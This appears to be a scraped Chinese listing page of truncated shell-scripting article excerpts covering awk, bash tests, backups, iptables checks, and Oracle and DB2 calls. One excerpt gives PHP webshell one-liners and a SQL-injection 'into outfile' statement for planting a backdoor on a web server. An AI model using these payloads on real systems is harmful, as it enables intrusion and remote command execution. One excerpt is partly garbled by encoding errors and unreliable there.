Time of Update: 2017-01-13
問題描述:CentOS下新增一個使用者,登入進去之後shell指令碼的資訊如下:Linux CentOS之shell顯示-bash-4.1$不顯示使用者名稱路徑的解決方案Ps:如果誤刪使用者目錄下的檔案,也可能導致!逐風之前不小心把/root/目錄清空了,也導致了類似的情況;解決方案:問題的原因是因為沒有配置.bash_profile的問題,可以通過配置這個檔案來解決問題。1.命令列中輸入:vi
Time of Update: 2017-01-13
今天公司要求我把伺服器上的備份檔案拷到內部伺服器上,並且只要最新的,好吧,營運人員的理想目標是什麼,就是能夠讓電腦做的事,決不自己來做. 系統:centos 5.9 環境:備份檔案在/root/bak下,當然我是虛擬機器上進行的測試1.備份檔案環境圖2.shell指令碼內容: 代碼如下複製代碼 #!/bin/bash location="/root/bak/" find
Time of Update: 2017-01-13
Shell指令碼說做就做,簡單的寫了個 Shell 指令碼就搞定了!指令碼名稱:網站死鏈產生指令碼指令碼功能:每天定時分析網站前一天的 nginx 日誌, 然後提取狀態代碼為404並且UA為百度蜘蛛的抓取路徑,並寫入到網站根目錄下的 death.txt 檔案,用於提交百度死鏈。指令碼代碼: #!/bin/bash#Desc: Death Chain File Script#Author: ZhangGe#Blog: http://你的網域名稱/5038.html#Date: 2015-
Time of Update: 2017-01-13
awk是linux中非常強大的文本分析工具。簡單來說,awk就是把檔案逐行的讀入,以空格為預設分隔符號將每行分割,分割的部分再進行各種分析處理。awk的基本用法awk使用的基本形式如下awk '{pattern + action}' {filenames}其中 pattern 表示 AWK 在資料中尋找的內容,而 action 是在找到匹配內容時所執行的一系列命令。花括弧({})不需要在程式中始終出現,但它們用於根據特定的模式對一系列指令進行分組。
Time of Update: 2017-01-13
條件運算式("CONDITIONAL EXPRESSIONS")條件運算式用於 [[ 複合命令以及內建命令 test 和 [ 中,用來測試檔案屬性,進行字串和算術比較。運算式使用下面的單目或二進位操作構造。如果某操作的任何 file 參數的形式是檔案符號:在info bash裡的第“6.4 Bash Conditional Expressions”節裡開頭有一句話說明了shell條件判斷的二個機制:Conditional expressions
Time of Update: 2017-01-13
系統:centos 5.x指令碼內容: 代碼如下複製代碼 #!/bin/bashif [ ! -f .count ];then iptables -L -n|md5sum|awk '{print $1}' > ~/.count exit 1else iptables -L -n|md5sum|awk '{print $1}' >~/1.txt difffile=`diff ~/.count ~/1.txt|wc
Time of Update: 2017-01-13
字元:12345abcde拆分成:12345abcde方法echo 12345abcde | awk -F ” ‘{for(i=1;i<=NF;i++)print $i}’echo 12345abcde | sed ‘s/./&n/g’echo 12345abcde | grep -Po ‘.’echo “12345abcde” |
Time of Update: 2017-01-13
日期# 取前一天date -d ’1 days ago’ +%Y-%m-%d命令?e名?定功能: (alias)alias ll=’ls -al’一些特殊值$$:(?於本 shell 的 PID)$!:得到子進程的進程PID,例如nohup的命令可以通過這個擷取PID$?:(?於上???絛兄噶畹幕?髦?$#: 參數個數$@ :代表『 “$1″ “$2″ “$3″ “
Time of Update: 2016-11-18
標籤:manage android pack qpi tar and enable 測試 ast adb shell中的am
Time of Update: 2016-09-20
標籤:使用shell指令碼根據輸入的使用者名稱,資料庫名,密碼從DB2資料庫匯出資料(1)a.sh指令碼如下#!/usr/bin/bashread -p "please input your DBNAME: " DBNAMEread -p "please input your username: " usernameread -p "please input your password: " passworddb2 connect to $DBNAME user $username using
Time of Update: 2016-09-17
標籤: Linux/Unix shell指令碼中調用或執行SQL,RMAN 等為自動化作業以及多次反覆執行提供了極大的便利,因此通過Linux/Unix shell來完成Oracle的相關工作,也是DBA必不可少的技能之一。本文針對Linux/Unix shell指令碼調用sql, rman 指令碼給出了相關樣本。 一、由shell指令碼調用sql,rman指令碼[python] view
Time of Update: 2016-09-17
標籤:靈活結合Linux/Unix Shell 與SQL 之間的變數傳輸,極大程度的提高了DBA的工作效率,本文針對Linux/Unix shell sql 之間傳遞變數給出幾個簡單的樣本以供參考。 Linux/Unix 下調用SQL,RAMN 請參考:Linux/Unix shell 指令碼中調用SQL,RMAN指令碼一、樣本[python] view
Time of Update: 2016-09-04
標籤:sql思路:上傳一個“後門”,通過控制後門來得到shell,比如一句話木馬。比如:<?system($_REQUEST[‘cmd‘]);?> //通過request提交,執行shell<[email protected]($_POST[‘chopper‘]);?>//PHP一句話木馬,直接上菜刀這裡構造如下語句:1‘and 1=2 union select "<?",system($_REQUEST[‘cmd‘]);?>"into
Time of Update: 2016-02-15
標籤:一般來講,在android程式開發中進行需要判斷裝置類型和系統版本1、裝置類型判斷比如判斷屬於Google Nexus 5,Nexus 7,MIUI v5, MIUI v6,三星裝置,魅族裝置等;這類型的問題都使用的android.os.Build.MODEL來判斷,android.os.Build.MODEL是一個String變數,可以根據String中一些特殊欄位來判斷android裝置屬於什麼裝置,比如判斷Nexus 7,代碼入下public static boolean isN7(
Time of Update: 2016-01-21
標籤:http://blog.csdn.net/gyanp/article/details/79030561) 格式調整有以下參數set echo on/off 是否顯示指令碼中的需要執行的命令 set feedback
Time of Update: 2015-10-18
標籤:學習記錄無意義的指令碼,大神勿噴/[[email protected] Desktop]# vim oraclesh.sh #!/bin/bashclear#函數test_parameter1(){`echo `su - oracle -c ‘sqlplus /nolog‘<<end &n
Time of Update: 2017-01-03
標籤:color 定義 最大匹配 使用 不同的 保留 stderr 沒有 blog 假設我們定義了一個變數為:file=/dir1/dir2/dir3/my.file.txt我們可以用 ${ }
Time of Update: 2016-04-14
標籤: 數組的定義: 數組名=(元素1 元素2 元素n) # 一對括弧表示是數組,數組元素用“空格”符號分割開來。 如:myarray=(1 3 5 7 9) #
Time of Update: 2016-11-21
標籤:kvm windows bat setupcompletekvm一鍵shell自動產生 windows
Time of Update: 2016-07-19
標籤:在windows下安裝SSH secure Shell。預設安裝後有兩個捷徑。linux下需要安裝openssh-serverutuntu預設安裝了opens是-client,所以不需要安裝,但是如果沒有安裝的話,再用apt-get install安裝即可。然後確認sshserver服務是否開啟ps -e | grep ssh如果只有ssh-agent那ssh-server還沒有啟動,需要/etc/init.d/ssh